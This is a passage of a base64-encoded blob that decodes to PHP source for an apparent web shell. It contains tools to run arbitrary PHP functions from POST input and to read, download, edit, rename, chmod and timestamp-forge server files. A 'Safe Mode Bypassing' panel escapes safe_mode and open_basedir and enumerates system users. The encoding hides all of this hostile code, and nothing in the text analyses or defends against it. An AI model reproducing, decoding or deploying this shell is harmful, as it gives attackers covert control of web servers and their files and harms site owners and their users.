Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319CiAgICAKICAgIGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygkX1BPU1RbJ3AxJ10pKQogICAgICAgICAgICBlY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOwogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOwogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+U3RyaW5nIENvbnZlcnRlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICAkc3RyaW5nVG9vbHMgPSBhcnJheSgKICAgICAgICAnQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLAogICAgICAgICdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsCiAgICAgICAgJ1VybCBlbmNvZGUnID0+ICd1cmxlbmNvZGUnLAogICAgICAgICdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywKICAgICAgICAnRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsCiAgICAgICAgJ21kNSBoYXNoJyA9PiAnbWQ1JywKICAgICAgICAnc2hhMSBoYXNoJyA9PiAnc2hhMScsCiAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLAogICAgICAgICdDUkMzMicgPT4gJ2NyYzMyJywKICAgICAgICAnQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywKICAgICAgICAnSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywKICAgICAgICAnSEVYIHRvIERFQycgPT4gJ2hleGRlYycsCiAgICAgICAgJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywKICAgICAgICAnREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsCiAgICAgICAgJ0RFQyB0byBCSU4nID0+ICdkZWNiaW4nLAogICAgICAgICdCSU4gdG8gSEVYJyA9PiAnYmluMmhleCcsCiAgICAgICAgJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLCAgICAgICAgCiAgICAgICAgJ1N0cmluZyB0byBsb3dlciBjYXNlJyA9PiAnc3RydG9sb3dlcicsCiAgICAgICAgJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsCiAgICAgICAgJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywKICAgICAgICAnU3RyaW5nIGxlbmd0aCcgPT4gJ3N0cmxlbicsCiAgICApOwogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwogICAgZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7CiAgICBmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7CiAgICAgICAgZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKS4iPC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCRfUE9TVFsncDEnXSkpCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pKTsKICAgIH0KICAgIGVjaG8iPC9wcmU+PC9kaXY+IjsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7CiAgICBpZiggaXNzZXQoJF9QT1NUWydwMSddKSApCiAgICAgICAgJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7CiAgICBpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7CiAgICAgICAgaWYoaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsKICAgICAgICAgICAgICAgICR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogIi4kdHlwZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSghQGZlb2YoJGZwKSkKICAgICAgICAgICAgICAgICAgICBlY2hvIEBmcmVhZCgkZnAsIDEwMjQpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZihpc19kaXIoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgogICAgICAgIH0KICAgICAgICBleGl0OwogICAgfQogICAgaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7CiAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+RmlsZSBUb29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICBpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewogICAgICAgIGVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7CiAgICAgICAgcHJpbnRGb290ZXIoKTsKICAgICAgICByZXR1cm47CiAgICB9CiAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CiAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CiAgICBlY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ3AxJ10pP3ZpZXdTaXplKGZpbGVzaXplKCRfUE9TVFsncDEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy52aWV3UGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JzsKICAgIGVjaG8gJzxzcGFuPkNyZWF0ZSBUaW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nPGJyPjxicj4nOwogICAgaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQogICAgICAgICRfUE9TVFsncDInXSA9ICd2aWV3JzsKICAgIGlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKQogICAgICAgICRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgIGVsc2UKICAgICAgICAkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgIGZvcmVhY2goJG0gYXMgJHYpCiAgICAgICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsKICAgIGVjaG8gJzxicj48YnI+JzsKICAgIHN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsKICAgICAgICBjYXNlICd2aWV3JzoKICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+JzsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC9wcmU+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaGlnaGxpZ2h0JzoKICAgICAgICAgICAgaWYoIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7Y29sb3I6YmxhY2s7Ij4nOwogICAgICAgICAgICAgICAgJGNvZGUgPSBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7CiAgICAgICAgICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2NobW9kJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgJHBlcm1zID0gMDsKICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJGkpCiAgICAgICAgICAgICAgICAgICAgJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsKICAgICAgICAgICAgICAgIGlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCBTZXQgUGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2VkaXQnOgogICAgICAgICAgICBpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgSXNuXCd0IFdyaXRlYWJsZSc7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydwMSddLCRfUE9TVFsncDMnXSk7CiAgICAgICAgICAgICAgICBlY2hvICdDb29sISBHb3QgU2F2ZWQuPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CiAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkKICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2hleGR1bXAnOgogICAgICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOwogICAgICAgICAgICAkbiA9IDA7CiAgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOwogICAgICAgICAgICAkbGVuID0gc3RybGVuKCRjKTsKICAgICAgICAgICAgZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7CiAgICAgICAgICAgICAgICAkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOwogICAgICAgICAgICAgICAgc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAwOiAgJGhbMl0gLj0gJyAnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJG4rKzsKICAgICAgICAgICAgICAgIGlmICgkbiA9PSAzMikgewogICAgICAgICAgICAgICAgICAgICRuID0gMDsKICAgICAgICAgICAgICAgICAgICBpZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQogICAgICAgICAgICAgICAgICAgICRoWzFdIC49ICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICAkaFsyXSAuPSAiXG4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9I3JlZD48dHI+PHRkIGJnY29sb3I9cmVkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jcmVkPjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jcmVkPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncmVuYW1lJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCBSZW5hbWUhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd0b3VjaCc6CiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKICAgICAgICAgICAgICAgICR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7CiAgICAgICAgICAgICAgICBpZigkdGltZSkgewogICAgICAgICAgICAgICAgICAgIGlmKEB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKQogICAgICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdGYWlsZWQhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSBlY2hvICdCYWQgVGltZSBGb3JtYXQ8c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdta2ZpbGUnOgogICAgICAgICAgICAKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKSB7CiAgICAkdGVtcD0nJzsKICAgIG9iX3N0YXJ0KCk7CiAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7CiAgICAgICAgY2FzZSAxOgogICAgICAgICAgICAkdGVtcD1AdGVtcG5hbSgkdGVzdCwgJ2N4Jyk7CiAgICAgICAgICAgIGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0ZW1wKSl7CiAgICAgICAgICAgICAgICBlY2hvIEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7CiAgICAgICAgICAgICAgICB1bmxpbmsoJHRlbXApOwogICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgIGVjaG8gJ1NoaXQhLi4uIENhblwndCBvcGVuIGZpbGUnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDI6CiAgICAgICAgICAgICRmaWxlcyA9IGdsb2IoJF9QT1NUWydwMiddLicqJyk7CiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkZmlsZXMpICkKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpCiAgICAgICAgICAgICAgICAgICAgZWNobyAkZmlsZW5hbWUuIlxuIjsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAzOgogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoImZpbGU6Ly8iLiRfUE9TVFsncDInXS4iXHgwMCIuU0VMRl9QQVRIKTsKICAgICAgICAgICAgY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgNDoKICAgICAgICAgICAgaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOwogICAgICAgICAgICBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7CiAgICAgICAgICAgIGluY2x1ZGUoJF9QT1NUWydwMiddKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSA1OgogICAgICAgICAgICBmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsKICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsKICAgICAgICAgICAgICAgIGlmICgkdWlkKQogICAgICAgICAgICAgICAgICAgIGVjaG8gam9pbignOicsJHVpZCkuIlxuIjsKICAgICAgICAgICAgfQogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDY6CiAgICAgICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2ltYXBfb3BlbicpKWJyZWFrOwogICAgICAgICAgICAkc3RyZWFtID0gaW1hcF9vcGVuKCRfUE9TVFsncDInXSwgIiIsICIiKTsKICAgICAgICAgICAgaWYgKCRzdHJlYW0gPT0gRkFMU0UpCiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZWNobyBpbWFwX2JvZHkoJHN0cmVhbSwgMSk7CiAgICAgICAgICAgIGltYXBfY2xvc2UoJHN0cmVhbSk7CiAgICAgICAgICAgIGJyZWFrOwogICAgfQogICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+U2FmZSBNb2RlIEJ5cGFzc2luZzwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICBlY2hvICc8c3Bhbj5Db3B5IChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjEiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5HbG9iIChsaXN0IGRpcik8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkN1cmwgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMyIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkluaV9yZXN0b3JlIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjQiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5Qb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48YnI+PHNwYW4+SW1hcF9vcGVuIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjYiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICBpZigkdGVtcCkKICAgICAgICBlY2hvICc8cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgaWQ9Ik91dHB1dCI+